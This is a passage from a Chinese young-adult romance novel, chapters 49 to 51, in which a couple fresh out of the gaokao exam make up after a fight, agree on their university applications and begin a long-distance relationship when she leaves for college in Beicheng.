欧阳茜见鬼一样地看向林斯年,林斯年温和地说:“我觉得他来找你,可能就是想和你聊一聊。要是我提前知道,就不会和你说‘北城见’这三个字了,确实容易引起误会,也有我的问题。” 欧阳茜没收回探究的眼神,“班长,我发现你这个人……心胸真的是非常宽广。” 她奉承得阴阳怪气,林斯年还是好脾气地微笑,刚要再说话,手机响了。他走到旁边,聊了几句后回来,略带歉意:“我得先回家了。” 方敏周连忙说:“好的,如果有什么事你和我说,然后王衎那边我……” “我说了,你真的不用再担心什么,这件事在我这里已经结束了。”林斯年安慰道,“希望你和王衎之间可以没事,希望他之后如果还会来北城的话,见到我不会再打我。” 这个玩笑话方敏周笑了,勉强的。 林斯年走后,是饭点,欧阳茜陪方敏周到附近的面馆吃面。 方敏周没什么胃口,但硬是往嘴里塞面条,看欧阳茜吃完了,她说:“要不你先走?我没事。” “你吃吧,我也没事。”欧阳茜劝说,“如果吃不下就别吃了。” “不能浪费食物。”方敏周说。 欧阳茜便托着腮看方敏周继续吃面,期间瞄了眼手机,郑彦航给她发了消息,他和王衎现在在一家ktv。 同龄的男生真的都好幼稚,欧阳茜心想。 虽然她从来不看好方敏周和王衎,但真没想到两人这又吵架了。 可要说谁成熟点,也不尽然。 方敏周习惯替他人做决定,她总是想做一个理智的人、做正确的决定——但当一个人需要克制自己的情感,那表现出来的还是真正的理性吗? 欧阳茜不以为然,她不针对方敏周,但她其实一直对此嗤之以鼻,所以某种程度上,她能够理解王衎,因为她也总是被推到外面的那个。 但王衎实在也难以理喻。 林斯年则太——假了,以为大家都没看出来他刚才也是把王衎往死里揍呢?他又不喜欢方敏周,简直像是借机发泄了一通,到头来还把自己摘得这么干净。方敏周担心林斯年追究王衎责任,这真追究起来,顶多也就是互殴。 她还是更喜欢老实点的家伙,特别是那种被生活蹉跎也一声不吭的。 如此对比,王衎虽然暴力,好歹看得透一点。 吃完面,欧阳茜陪方敏周去找王衎。 旁观者清就是真的清吗?但她也还是对方敏周说了实话,“就算你们和好了,就算他也跟着你去北城了,你们也不会在一个学校,他去江城,更是异地。” 她倒不是就要劝方敏周分手,但确实又觉得,长痛不如短痛。 “我知道。”方敏周明白欧阳茜的好意。 然而到了ktv,只有上了厕所回来后发现王衎不见了的郑彦航。欧阳茜对郑彦航办事不力很失望,郑彦航自己也羞愧,他再给王衎打电话发消息,都没有回复。 包厢空调太低,方敏周感到了冷意,但她只是笑笑:“没事。” 她回了家,好像什么事情都没有发生一样,翻看填志愿的资料、吃饭、睡觉,当第二天醒来,还是没有王衎的消息时,她在床边坐了许久。 他第一次没有和她说晚安。 她应该伤心,应该愤怒,但此刻情绪却是一片空白。她单纯在想,事情不应该这么结束,就好像一道题,她现在得到的这个答案是错的,她不能就这样不管它,她要重新算一遍,即使最后发现是题干出了问题。 她在下午出了门,去了王衎家。 她知道他家小区在哪,但不知道具体的门牌号,而王衎也许又回了南城。 有些事情想起来简单,做起来却很难。她都已经到了王衎家楼下,却在犹豫要不要给他打电话。 天气预报说台风今晚要来,风变得更大了,树梢沙沙得不停作响,方敏周的一颗心也被刮得摇摇欲坠。这一刻,她才敢面对自己,敢承认,她并没有自己以为的那样冷静。 “你好……”有人向她打招呼。 方敏周惶然转头,是一个年轻的姐姐,“你是……方敏周吗?” 方敏周愕然,对方笑了,“你好,我是王衎的表姐。” 徐静晓先进了小区,再出来时发现这个小姑娘还在,这才好奇靠近,看清脸,一下子就认出了人,她见过她的照片。眼见着女孩稚嫩的脸红了,她问:“你是来找王衎的吗?” 方敏周迟疑着点了点头。 “他现在在医院……” “啊?”方敏周被吓到。 “他妈妈住院了,不过现在已经没事了,我来帮她拿点东西。” 方敏周顿时松了口气,转而想到那王衎家人肯定也看到了他脸上的伤,于是更加不知道该说什么。 “你找他有什么事情吗?” 王衎的表姐对她态度却很好,方敏周心情复杂,只有把帆布袋里的资料拿出来,“这是我整理的填志愿的资料……可能也没什么用,但可以参考看看。” “怎么会没有用呢,谢谢你。”徐静晓很意外,又问,“你帮他查了资料,那你自己呢,已经决定好去什么学校了吗?” “……嗯。” 得知王衎的小女朋友要去北城读大学,结合现状,徐静晓很轻易就能猜出这些小孩子之间发生了什么,尽管不知道王衎是和谁打的架,总归是有了误会。 她再一次对方敏周说了谢谢,说会把资料好好交给王衎,“你等会回家吗?走吧,我送你回家。” 方敏周忙摆手,徐静晓已经推着她往车子走,“走吧,医院那边不急,我先送你回去,不然等会下雨了。” 方敏周推辞不过,只好上车。 拘谨地系好安全带,王衎的表姐打开了车载音响,方敏周听到了熟悉的旋律,而王衎的表姐显然就在等她的反应,“之前王衎坐我的车,我就奇怪他怎么一直听这首歌。” 方敏周笑了笑,然后假装自然地看向窗外。 原来听《绵绵》真的会想哭。 车子平稳地前行了一段路,徐静晓才再开口:“和王衎谈恋爱肯定天天被他气到吧?” 方敏周已经平复了心情,此时她应该否认,但她说:“还好。” 徐静晓笑道:“你们这个年龄的男孩子和女孩子谈恋爱,肯定是女孩子受委屈的地方多,王衎人是好的,就是脾气比较差。昨天他妈妈在家突然摔了一跤,脚扭了,他爸不在家,全靠他一个人,我也是后来才接到电话。”她看了方敏周一眼,“他自己伤也没什么事。” 方敏周赧然。 “我和冉冉她爸,冉冉,你见过吧,也是高中同学。”徐静晓说,“高中的时候就早恋,运气好,还都考上了同一个大学,大学刚毕业就结婚了,然后就有了冉冉,但冉冉三四岁的时候,离婚了,不过算是和平离婚,现在也还是朋友,所以说感情这个事啊——”她感慨道,“谁也说不准,恋爱多久,异不异地,有钱没钱,有没有孩子,说白了,和你们读书一样,看你聪不聪明,也看点运气,但是不管结果怎么样,读过的书都是自己的,经历过的感情也都是自己的,都是养分,姐姐就想送你们四个字。” 方敏周一脸认真。 “珍惜当下。” 听起来多么简单的道理。 “好了,到了。”徐静晓说,最后冲车窗外的方敏周眨眨眼,“其实我很看好你们哦。” 入夜,台风来了。 屋漏偏逢连夜雨,第二天方敏周因为肚子难受早早醒来,经血染红了床单,额头上还冒了一颗硕大的痘痘。 雨还在下,台风预计今天傍晚会离开樟城。 赵宁英和方敏周一人负责一边,像降落伞一样的床单轻轻落在床垫上。铺好新的床单,两人走出房间,方良平在看早间新闻,夫妻俩对视了一眼,没有多说。 夫妻之间没有隔夜话,但昨晚赵宁英才从丈夫那里听说了方敏周和那个男生的事情,埋怨他不早点说。 “说了有什么用?”方良平回,“她说了,他们之前没有在一起。” “她说没有你就信?这事跟妈妈讲还是跟爸爸讲能一样吗?现在在一起就没事了?” “她要是想和你讲,早就和你讲了,我没说你这一年都这样了,要说了你每天晚上还睡不睡了,也不要让她睡了。” 差点要吵起来,赵宁英气得转身背对丈夫,但过了会,没忍住说:“到时候志愿填好你多看几眼,特别是截止的时候……” 黑暗里,方良平久久没有答应,赵宁英:“睡着了?” “没有,我知道了,她不会的。”方良平顿了顿,“你在她面前注意点。” 赵宁英叹了口气。 即使高考结束,妈妈准备的早餐也依旧很丰富,方敏周经痛加上有点焦虑,胃口不佳,但她还是吃完了一碗馄饨和两个虾饺。 这是外婆教她的。 她说不管高不高兴,饭一定要吃饱,吃饱了才有力气干活。 吃过饭,爸爸妈妈就出门上班了,方敏周休息了一天,时不时会想要查看下手机,但还是没有王衎的消息。 傍晚爸妈回家时,窗外的风雨声渐渐停歇,方敏周躁动不安的心也像这场台风,趋于平静。 她不能不平静。 她的房门被敲响,被敲了三下,这是她爸爸的敲门方式。妈妈一般只会敲一下,往往不等她答应就会直接进来。 “怎么了?”方敏周打开门。 房门外,爸爸妈妈一言难尽地看着她,方敏周心里顿时有了不好的预感,她扯了扯嘴角,挤出笑,又问了一遍:“怎么了?” “门口你……同学,”爸爸说,“你们自己聊一下吧。” “我同……”方敏周停住。 我同学,谁? 爸爸说完就坐到沙发上去了,方敏周不安地看向妈妈,她也什么话没说就走了开。方敏周有了一个荒唐的猜想,她往玄关走去,又被妈妈喊住,“早点说完,说完了让人早点回去。” 方敏周想说“好”,但喉头发紧,没有发出声音。 门打开,屋内的光照进过道里,过道里的声控灯也亮起。 王衎低着头,双手插在裤兜里,一只鞋子焦躁不安地在地上一下一下地蹭,听到声响抬起头,窘迫地把笑咧到最大:“……嗨,是我。” 第50章 第 50 章 方敏周立刻把身后的…… 方敏周立刻把身后的门关上。 “诶——”王衎尴尬地说, “你爸妈说门要开着……” 方敏周一愣,但她管不了那么多了,压低声音, 想问王衎怎么在这, 但话刚出口就卡壳。王衎也说不出话来, 局促间, 过道的灯灭了。 黑暗里, 电梯键、楼梯道的逃生标记都发出幽幽的亮光。 方敏周一想到爸妈在门后就紧张得要命,绕过王衎按了电梯,王衎舌头和思路一下子不打结了:“我不知道怎么和你说, 就想来找你……然后在楼下不小心碰到了你爸……” 方敏周看他一眼:“等会说。” 王衎这才发现方敏周按的上行键,好像不是要赶他的意思, 顿时稍稍舒了口气。 封闭的电梯间里,镜子背靠着他们。王衎站在方敏周一步之后,他看不见她的脸, 盯着她的后脑勺也忐忑。 走出电梯, 再走一段楼梯就是天台, 昏黄的声控灯重新亮起, 王衎亦步亦趋地跟着, 脚步重也不是、轻也不是,他被笼在方敏周淡淡的影子里。 而方敏周没想到王衎会反过来找上门,她思绪如麻, 不知道该说什么,一个劲儿往前走。 天台平时摆放了许多花花草草, 因为台风,大部分都收了起来,变得空荡荡的, 角落里躺着有一把半旧不破的白色遮阳伞。小区楼层不高,放眼望去是高低错落的城市夜景,雨几乎已经停了,风拂过面带来一片冰凉的水汽。 直走到半身高的围墙边上,她听见身后王衎哀哀地喊了她一声,“……你还理我吗?” 他这么小心翼翼,方敏周眼眶被风吹得蓦地发涩,她用力地往上看,吸了吸鼻子,好一会儿,才转过身。 隔着一段夜色,她先对王衎说:“我昨天碰到你表姐了……” “嗯。”王衎低声回,“她跟我说了,还有你整理的资料,谢谢……” “……你妈妈脚怎么样了?” “没事,今天已经出院了,她也……让我谢谢你。” 一时无话。 王衎望着方敏周。 在表姐在医院把资料递给他后,他妈问了几句,得知前因后果后把他骂了一顿,骂他自以为是、一根筋地想问题,要改志愿也不跟家里人商量。她们都说,方敏周多好,为他考虑,他却不领情。 可是,他不想要这种考虑。 他本来就是因为她才能考上江大,他只是想要和她上同一个大学,至少在同一个城市,现在方敏周要去北城,他也去北城,不是很理所应当的事情吗? 妈妈说,事情不是这样考虑的,“你这么想,就算跟去北城,你们之间也会有其他问题的,人家家长也不可能放心你。” 果然,在楼下的时候,方叔叔也问他,对将来有什么计划,“我和敏周的妈妈不是老古董,我们不支持你们的关系,是因为你们还太小了,刚刚高考完,志愿都还没填,你先别说话,你先听我说完,但是,我们尊重敏周的想法,这个前提是你们能够明白主次之分,什么是最重要的,你明白吗?” 他只能说明白。 “我爸妈……和你说什么了?”方敏周问他。 王衎很难总结,“叔叔说……你和他们说了我们的事情。” 方敏周眼神飘忽了两下,“嗯”了一声。 王衎心跳加快,舔了舔嘴唇,干笑:“也没说什么,他问我们是不是吵架了……我说没有,是我的问题,所以我想找你,又怕你还在生气。” “……王衎,我是真的很生气。”他既然挑明了,方敏周也不再避着,“我都和你说了,我和林斯年只是同学。” “我知道,那天是我冲动了……我找林斯年道歉过了。” 听到这,方敏周有点惊讶,“……他怎么说?” 王衎默了默,他无意和方敏周讲具体的经过,包括林斯年说她陪他去包扎了伤口,冠冕堂皇地也向他道歉——他不能再在林斯年的事情上计较,尽管嫉妒死了他能和方敏周一个学校,“……他说没事,这件事情是我错了。我当时听到你们说北城见,但是你又不让我去北城,我就……我就很生气。” “我不是不让你去北城,我只是……”方敏周深呼吸了一口气,“我只是希望你能更认真地为自己考虑。” 王衎来找方敏周,是为了道歉,是为了求和,他不想再和方敏周起争执,但是她这句话,又像一把手术刀划开他的伤口,他忍不住问她:“所以,你去北城,就是基于你对自己的考虑吗?” 方敏周听出王衎的言外之意,风从他们之间吹过,她说:“是。” “那……“王衎苦笑,“你对我们的考虑是什么?” 他其实很想问问方敏周,她既然能够为他考虑,为什么却从来不考虑他的心情?他满心期待着两个人可以一起上大学,结果被她一通电话告知要异地。他立刻买了凌晨的火车票赶回樟城,结果看到的、听到的,是她和其他男生相约去北城,他怎么可能不发疯?但一切却似乎都是他的错。 他就应该为了自己好,不用她说就填报江大,反过来再提前说一句抱歉?这就是她想要的吗? 夜色茫茫,方敏周看不清王衎的表情,风声过耳,却似乎能听见他无声的控诉。 她几乎要喊,她这就是在为他们的未来考虑啊——可是这样浅显易懂的事情,为什么还需要她解释。 方敏周感到深深的无力。 打人的是王衎、抛狠话的人也是王衎,他却仿佛受了天大的委屈。方敏周忽然觉得自己很傻,明明一开始就知道,他就是这样随心所欲的人。 她觉得她和他出来的时间有点长了,再谈下去也不一定有什么结果。于是方敏周对王衎说,要不他先回去吧,太晚了,他们明天找时间再聊。 还好,还没到要填志愿的时间。 但在经过王衎身旁的时候,她被他拉住了手臂。 第一下没挣开,王衎喊她敏敏,两个字,像拔掉了某个情绪管道的塞口,方敏周真的不想再和王衎说什么了,她怕她失智。第二次再挣开,用了力,但“啪”的一声,挣脱的手背甩到了王衎的脸上。 夜风狂啸了几秒渐弱,方敏周呆住,满腔的愤懑瞬间冻结,她慌了神,摸上王衎刚才被她打到的地方:“对不起,我不是故意的……” 王衎低着头,“没事。” “我看下……”方敏周有点着急。 “真的没事,没有打到。”王衎说,声音微微颤抖,他把方敏周的手握紧了,用开玩笑的口吻,“你不是这就要和我分手吧?” “什……”方敏周彻底乱了,“不是。” 他怎么会这么想? 王衎一瞬不瞬地盯着她,脸上还带着挤出的笑意。 台风天的风和海滩边的风,截然不同,但方敏周却觉得自己从始至终都置身在同样的风浪里。 “王衎……”她轻轻摸了摸他的脸,“我没有想过要分手。” 但王衎看她的眼里显然带着不自信,方敏周不知道该哭还是笑,她在他心中到底是什么样的人?她强调了一遍,“真的。” 她不会说分手的。 她和他交往,没想过分手。 她还应该承诺些什么吗?但炙热的气息俯下来,她被吻住,大脑一片空白,再也无法开口。 台风过境,带走了近日连绵的雨水和伤心。 吮吸间,她的牙齿毫无防备地被舌尖抵开,当王衎的牙齿不小心咬到了她,方敏周吃痛地发出了声音,王衎如梦初醒地退开,额头相抵,极力控制着紊乱的呼吸,懊恼道:“对不起,我……” 他怀里,方敏周微微摇了摇头。 王衎忽然觉得自己的心空得不得了,所以他更用力地抱紧了方敏周,汲取某种能量一般。吻落在她的额头,慢慢地往下,从颤抖的眼睫到脸颊,再重新吻住嘴角。 这一次,舌头小心地探入,陌生的湿热令人几乎昏然。王衎浑身紧绷,方敏周同样喘不上气,她不知道为什么两个人就吻在了一起,但本能地笨拙回应。她在某一个喘息的间隙里猛地想起此刻身处何地,楼下爸爸妈妈还在等她回家,指尖的神经瞬间都过了电似的发麻。 不知道过了多久,黏连的嘴唇终于分开,待彼此的呼吸都平复后,方敏周仍然不敢看王衎的眼睛,但她还记得他身上有伤。 顶楼没有灯光,她想检查,牵着王衎到入口,借着楼道和手机的光。 但王衎高了点,两人就都蹲了下来。 面对着面,王衎的视线又太直接,方敏周受不住,让他把眼睛闭上,王衎不听,方敏周不得不把手覆盖上去。 过了会,手心被眼睫毛轻轻刷过,痒痒的。 仔仔细细看过后,方敏周安心了很多。已经过了两天,至少从脸上的情况来看,王衎不比林斯年严重,她刚才不小心打到的左脸也没有红肿的痕迹。 她想起他们第一次见面,就是因为他额头带伤,她便对他有了不是好人的负面印象,但眼下他脸上的伤却间接因为她更多了一点。 “好了没?”王衎问,“我说了,我没事。” “……好了。”方敏周收起手机。 王衎睁开眼。 “还疼不疼?” 王衎摇头。 两人的距离仍然过近,方敏周勉强平静地叮嘱他:“你自己小心点,记得涂药膏,小心留疤。” “嗯,不会。”王衎应。 他刚才闭上眼睛的时候,不由自主地屏住了气,现在放松,气息反而同方敏周的重新缠在了一起。他听方敏周讲话,自然盯着她的嘴巴,喉结滚动,方敏周看清了,要起来,又被王衎握住了手,她心脏落了一拍,但王衎的脸在咫尺间停住,她看见他眼里眸光跳动,还听见了自己急促的心跳。 都有话要说,但都没有开口。楼道灯再度熄灭,温热的嘴唇又一次贴在一起。 这一次的吻没有深入,轻轻的,很快分了开,但手一直握在一起,赋予了不再临阵脱逃的勇气。 “所以……你志愿打算怎么填?”方敏周尝试着问起正题。 王衎:“北城大学。” 方敏周:“……” 王衎一笑,“然后再填几个北边的学校,万一运气好捡漏了呢?最后反正会填江大和江理工的保底,这样总没问题了吧?” 良久,方敏周点点头。 王衎捏了捏方敏周的手心,有点艰涩地问她:“……你就这么想我去江大?一点都不担心异地恋?” “……担心什么?” 王衎睁大了眼睛:“你知不知道异地恋意味着什么?” 高中他们同班两年,只坐了一年同桌,现在可是要异地四年,方敏周居然一点也无所谓?亲密接触带来的安抚功能瞬间失效,“我们可能一个学期都见不了几次面,而且北城和江城还离得那么远,而且……” 更残酷的是他们不在彼此身边,万一方敏周有什么事情,他根本不可能及时赶到,越想王衎越有点后悔了,忽然觉得还是不能填江城…… 方敏周有点窘,她当然不是这个意思,“其实就算我们在同一个学校,不是一个专业,也可能在不同的校区,上课时间也不一样,北城学校和学校之间有些离得也很远,所以实际情况可能都差不多,我们可以假期的时候见面啊,开学一个月不就是国庆了吗?” 她不是不想在一个城市,但不能自私地看王衎浪费分数,他的分数是他努力得来的,他不是她的陪读。 王衎不想听方敏周同他分析讲解这些客观道理,真的要算,那国庆之后就只有元旦了,元旦还只有三天。 他是挺自我的,但从一开始,他就是介意方敏周那样轻而易举地为他做决定,这让他觉得自己并不被她需要,但凡她没有那么理性…… 但凡她为他失控一点。 “而且,”方敏周觉得她还有必要纠正王衎的一些想法,“大学本来也是学习的地方,我们……” 她话说到一半,被王衎拉着站起来,腿麻,换王衎问她:“你知道有多少情侣死于异地恋吗?” 方敏周一愣,反问:“你觉得我们也会吗?” 王衎不答。 他在害怕。 方敏周看着王衎:“我觉得,我们不会诶。” “……为什么?” “我不知道,但是我觉得……只要互相喜欢,就不会有太大的问题?有什么事,说出来,好好沟通,总有办法吧……” 她说得认真,在王衎看来,就像读书那会耐心钻研难题的样子,因为她觉得没有什么题目是解不出来的。 好学生们,好像很容易是理想主义者。 她总是说他幼稚,可她又何尝不是太单纯? 但他选择相信方敏周,因为她说“互相喜欢”,“你说的,不管遇到什么事情,你都不准提分手。” 方敏周反应过来后脸一热,但没扫兴,点头轻声“嗯”了一声,“……你也是。” 距离是问题,但不是绝对的问题,方敏周真心这么觉得,而且不还有句话叫“距离产生美”吗?王衎的表姐说,感情是说不准的东西,可是,喜欢就是喜欢,如果是真正的喜欢,就能够在一起不是吗?如果真的会有分开的那一天,一定不是距离的问题。 如果真的会有那么一天……方敏周无法想象,她选择乐观,那或许也会是传说中的和平分手,当他们都有更好的选择。 那么,她也不会后悔。 50-60 第51章 第 51 章 八月下旬,北…… 八月下旬, 北城大学大一新生报道军训,方良平和赵宁英向单位请假了几天,提前送方敏周去学校。 出发去北城的前一天, 方敏周心情比想象中的糟糕一点。 她是兴奋的, 怀揣着对大学生活的憧憬, 但与此同时, 即将去到一个完全陌生城市的不安和畏惧, 在远行的前夕有了实感,特别是看到帮她整理行李的妈妈最后露出怅然的表情时,方敏周眼睛忍不住发酸。 这是不是说明她还不够独立?她不知道, 说不出口,说出来也许还会被爸爸教育一番, 所以她都压抑着,但出发前的最后一晚, 方敏周是和妈妈一起睡的。 就像她还小的时候那样, 把手放在妈妈柔软的肚子上, 妈妈的手和腿都护着她, 说她:“怎么手脚还这么冰?到了北城怎么办, 那边可比樟城冷多了。” “没事, 有暖气啊。” 妈妈笑着叹了口气,絮叨起来,说等方敏周走了, 这个房间就没人住了。 “我国庆回来的啊。”方敏周说。 “到时候再看吧,不回来也没事。”妈妈说。 方敏周抿抿嘴, 没有应。 她把很多东西都塞进了行李箱里,但永远有带不走的东西,留在家里, 就像自己的一部分,留在爸妈身边。 方敏周乘飞机的次数少,上一次来机场还是中考后爸妈带她去旅游。那时她尚且懵懂,全程乖乖地跟在爸妈身后,时隔三年,也许是她长大了,值机和托运的时候,变成她代为和工作人员沟通,一家人过完安检,妈妈笑着对爸爸说:“女儿现在比你会多了。” 方敏周看了眼爸爸,担心这话无意间伤害到他的自尊心,但爸爸说:“那肯定是要比我厉害啊,”看向她,“之后就都是你自己一个人了,但有什么事情,打电话给家里。” 方敏周“嗯”了一声,心里又酸酸的。 候机时,她打开手机,看到王衎十几分钟前发来的消息,问她到机场了没。 方敏周:到了。 江城大学刚好昨天新生报道,王衎对此大为恼火。他本来想送她,甚至想陪她一起去北城,“如果叔叔阿姨同意的话。” 彼时方敏周直接驳倒他,告诉王衎不可能,而现在,她却妄想着,他或许会像电视剧电影里一样,突然出现在机场。 她开始打字,提到自己小时候第一次乘飞机时特别好奇,现在反而有点害怕,但想到王衎或许飞了不知道多少趟,她说这些没什么意思,加上他今天就要军训,会很累,于是删删减减,最后拍了一张登机口的照片发过去。 王衎没有立刻回复,方敏周猜他估计已经开始训练了。 飞机起飞,方敏周自以为熟悉的家乡变成了无法分辨的纵横经纬。江城和樟城距离两百多公里,江城和北城距离一千多公里,在万米高空俯瞰,这些城市都变成手指就可以比拟的微距离。 两个小时后,飞机抵达北城。 王衎半个小时前发来新的消息,让她平安落地后和她说一声。 爸爸妈妈走在前头,方敏周另外偷偷拍了张照片过去。北城的夏天进入了尾声,但仍然无比灿烂。 人也很多,到处都是游客。也许因为即将要在这个城市生活四年,方敏周不急于探索,但爸爸妈妈兴致很高,顶着白天的高温,三天内,一家人几乎把北城所有的景点都逛过,方敏周觉得自己这算是提前为军训强度拉练了。 最后一天上午,爸妈送她到学校。 历史悠久的学校宿舍条件必然不太好,四人间上下铺,先到先得,左边靠窗第一张床已经铺好了床铺,但宿舍里没人,方敏周选了对应的右边的床位。 稍微理了下东西,她和爸妈下楼逛了逛学校。吃过午饭,爸妈就准备回酒店去拿行李了,他们是傍晚的飞机,不让方敏周送,觉得没必要。 “北城和樟城很不一样,你一个人,又是第一次住宿舍,一定要自己照顾好自己,和同学之间客气一点,有什么事情互相帮忙。饭要吃好,钱不够就跟爸爸妈妈说,这儿冷的快,过两个月你就早点买点厚的衣服……” 爸爸一反常态地没有说话,都是妈妈在唠叨,千叮咛万嘱托,方敏周耐心地听着,听到最后妈妈都没了话,她送他们上了出租车。 学校正门连着马路,车来车往,出租车起步后,很快就消失在川流不息的车流中。马上又有新的车辆停下,车门打开,下来好奇兴奋的一家人,行李匆匆搬下,先在校门口合影留念,一如方才她和她的爸爸妈妈。 骄阳似火、人流如潮,方敏周眼眶一热,“唰”地就掉下了泪。 她迅速抹去眼泪,在鼎沸的人声和蝉鸣声中慢慢往宿舍走去。路很长、学校很大,阳光晒得她后背发烫,蒸干了她内心的寂寥和不舍。 回到宿舍还只有她一个人,但空调开着,沁心的凉快,方敏周在继续整理行李的同时整理自己的情绪,把必用的东西理完,她在板凳上静坐了一会,给王衎留了言,再把这几天游玩的照片挑挑拣拣发了一条说说。 高中那会儿手机是违禁品,但现在都随手带在身边。她的说说刚发出去,便收到昔日同窗好友陆陆续续的点赞,还在外边旅游的欧阳茜评论道:等我去北城找你玩! 方敏周回她:等你! 除了王衎。 这几天她陪爸妈,而王衎开学忙碌,消息往往都不能及时回复,但方敏周知道,这是正常的时差。她深呼吸了一口气,告诉自己:新生活要开始了。 “诶,终于有人来了。”宿舍门被打开,进来一个金色短发的女孩,手拎着塑料袋,从里面取出一瓶冰饮料递给方敏周,“来来来,喝瓶水,太热了太热了,对了,我叫金莹,你叫什么?” 方敏周道谢接过,“你好,我叫方敏周。” 她把自己带来的家乡特产零食分给金莹,顺便也在另外两张空桌上放了几包。 聊了聊,方敏周才知道她和金莹家乡很近,但金莹是数媒专业,因为床位不够,被分来了经济学院,“挺好的,跟着你们学点金融知识。” 方敏周略有些汗颜。 过了一会,另外两个室友也到了。 方敏周不是没担心过和室友怎么相处,但大家性格都挺友善,寝室大扫除后,四个人下楼吃饭,第一顿,金莹提议下个馆子,都没异议。 刚出门,王衎打来了电话。 方敏周默默落后几步,接起来小声而快速地解释她现在要去吃饭,问他:“……你等会晚上还有事吗,我晚点打给你?” “好吧……那你快点。”电话那头王衎不情不愿的,虽然在方敏周听来,故意的成分很大,下一秒,他自己也装不下去了,“开玩笑的,你慢慢吃吧,别饿着。” 莫名亲昵的话,方敏周有点耳热,应了声,问王衎:“你吃了没?” “吃了。”他说,“你快去吃饭吧,等会聊。” “……嗯。” 虽然只是几天,这会儿却觉得好久没有听到对方的声音。 等方敏周收起手机,往前看,三个室友不知道何时都停下了脚步,一脸八卦地等着她。方敏周这下是脸都烫了,还好天色已暗,能帮她遮掩。 “男朋友?” 方敏周不好意思地点了点头。 于是她就这么被盘问了一路。 几个人初相识,好奇为主:男朋友是谁、现在在哪、谈多久了。得知方敏周是高中初恋异地,更惊讶了。 罗佳带着羡慕:“哎哟初恋,我初恋都已经死了。” 孟雨君:“啊?” 罗佳:“……不是真死了。” 孟雨君:“哦哦哦。” 金莹在一旁大笑,立刻猜出寝室长没有谈过恋爱。 方敏周暗暗捏了把汗。 考虑到每个人的口味不同,她们最后走进学校步行街里的一家家常菜馆,不过吃到一半,罗佳叫了酒,包括寝室长也能喝一点,方敏周便“入乡随俗”地浅尝了几口。 方敏周觉得辣嘴,皱了皱眉,勉强咽下,金莹笑着帮方敏周之前空了的杯子重新倒上果汁。 高中、高考、朋友、家人、恋爱……任何一个话题都有非常多的故事能够分享,气氛热络了,关系也很快变得亲近。 吃完饭回到宿舍,方敏周先给爸妈打了电话。 妈妈笑着说家里少了她空落落的不太习惯,又感慨早上他们还在陪她逛学校,晚上就回到了樟城,“明天是不是就要军训了?今天晚上早点睡,军训的时候早饭一定要吃知道吗?” “嗯。”方敏周不敢多说,单个字单个字地应着。 和室友们相处时的开心是真的,但就像过滤掉的茶水,一下午刻意忽略的情绪,是滤网里残留的茶渣,又苦又涩地堆积着,慢慢发酵。 而挂了电话,她发现除了金莹在洗漱,孟雨君和罗佳也在同家里人打电话。轻声细语,用着各自的家乡话,方敏周莫名觉得这一幕有点温馨,黯然的心情被卫生间哗哗的水声冲走了一些。 忽然,王衎的视频请求神奇地掐着点似的过来,这不同于和爸妈打电话,方敏周揣上手机,悄声离开寝室。 王衎看着手机屏幕里的镜头摇晃着,从亮处到暗处再到有光的地方,脚步声外,还能听见方敏周近在咫尺、仿佛能传来温度的呼吸声。 方敏周终于找到合适的地方了,昏黄的光线里,她一脸认真地看着镜头,整张脸被映出莹润的光泽。两个人隔着屏幕对视了几秒,方敏周还屏着呼吸,王衎已经傻乎乎地咧开了嘴角。 “你这在哪呢?”王衎戳了戳屏幕里的方敏周。 方敏周拿远镜头给他看,是在露天晾台的角落,还没被收进屋的几条被子在晾衣绳上轻荡。 旁边宿舍楼的光和楼下路灯的光正好够用,还有头顶的圆月,王衎那边背景则很亮堂,“你在宿舍?” “嗯,放心,没人,我室友都不在。”王衎说,他猜到方敏周会不好意思,“你这在外面不热吗?要不先回去?” “还好,风吹过来挺凉快的。”方敏周说。 她这句话,像有一阵风从王衎胸口吹过,凉飕飕的。是啊,他想,他忘了,方敏周现在在北城。 “北城好玩吗?”他问。 “嗯,还行。你室友去哪了?你不和他们一起吗?” “聚餐去了,没事,不用管他们。”王衎说,他本来也应该去,只是说自己有事拒了,“等我去北城找你玩。” 方敏周刚想说好,反应过来王衎这是在学欧阳茜的那条留言,笑着白了他一眼。 眼波流转,直往王衎心上挠了一下,他盯着屏幕变得小小的方敏周,可耻地想,除了接吻,其实他很少这么近看她的脸,声音不自觉变得很轻,“你别……” “什么?”方敏周问,翻个白眼就生气了? 王衎尴尬地摸了摸鼻子,避开不答,另外问:“叔叔阿姨回樟城了吗?” 提到这个,方敏周不免有些低落,点了点头。 “想家了?” 承不承认,都有些矫情,方敏周选择反问:“你不想?” “还好。”王衎说,“我爸妈经常不在家,习惯了。” 方敏周一愣。 王衎有提到过他爸妈工作忙的事情,但她常常只觉得王衎少爷个性,没有细想过,这种情况下他在家的真实生活。今年王衎生日,他们也是一起过的,现在想想,他爸妈可能又不在家。 这个认知,让方敏周感到羞愧,恋人是朋友也是亲人,但她却从来没有注意到这点,是因为王衎自己有意隐瞒,还是她太粗心了?斟酌着说几句话,偏偏他又要破坏气氛,贱兮兮的,“自己还想哭呢,怎么又心疼上我了?” 方敏周:“……我没有想哭。” “没有就没有吧。” “你不要我心疼?” 王衎:“……” 他单手捂住下半张脸,“……方敏周,你从哪里学这些话,你学坏了。” “你不是就想我这么说吗?”方敏周忍不住想笑,又仔细看了看屏幕里王衎的脸,“你是不是晒黑了?” 王衎咳嗽一声,含糊其辞:“还好吧,有一点点,不过晒黑了更man一点,你觉得呢?还是你喜欢白点的?不过我本来也不是很白吧?” 方敏周猜,现在她要是说句她喜欢白的,估计要把他气死,“你记得涂防晒,别晒伤就行。” 王衎哼哼,说他皮糙肉厚,反正快结束了,倒是方敏周要小心点。 方敏周顺势慰问起王衎的军训生活,是不是很辛苦。 王衎当然说不,尽挑着他人的趣事糗事讲,间或夹杂一些自己的优良表现,方敏周表面无语,实际还是被他逗得直笑,这让王衎很有成就感。 其实军训还是蛮累的,但在他的观念里,男生不能在女生特别还是自己女朋友面前说辛苦的,那很折损个人形象,但他希望方敏周如果遇到什么事情,一定要和他说,至少军训这件事上,他有经验,“你要是真不舒服不要死撑着,就举手,休息的时候有阴凉地就抢,跑快点,还有,如果有老师或者学长学姐送水送饮料过来,你也别最后才去领,有时候说不定会不够。” 方敏周:“我知道。” 当她三岁小孩呢? 王衎不信,“知道做不到。” 方敏周:“……” “别老先想着别人,然后自己还不好意思。”王衎说,尽管才刚开学,但他已经感觉到大学和高中的不同,他是真的有点担心方敏周吃亏。 方敏周垂眼,轻轻踢了踢阳台墙底,把心里被一锅要煮开了的情绪盖上盖子压住,她才抬起头来,但还是躲了躲镜头,“知道啦。” 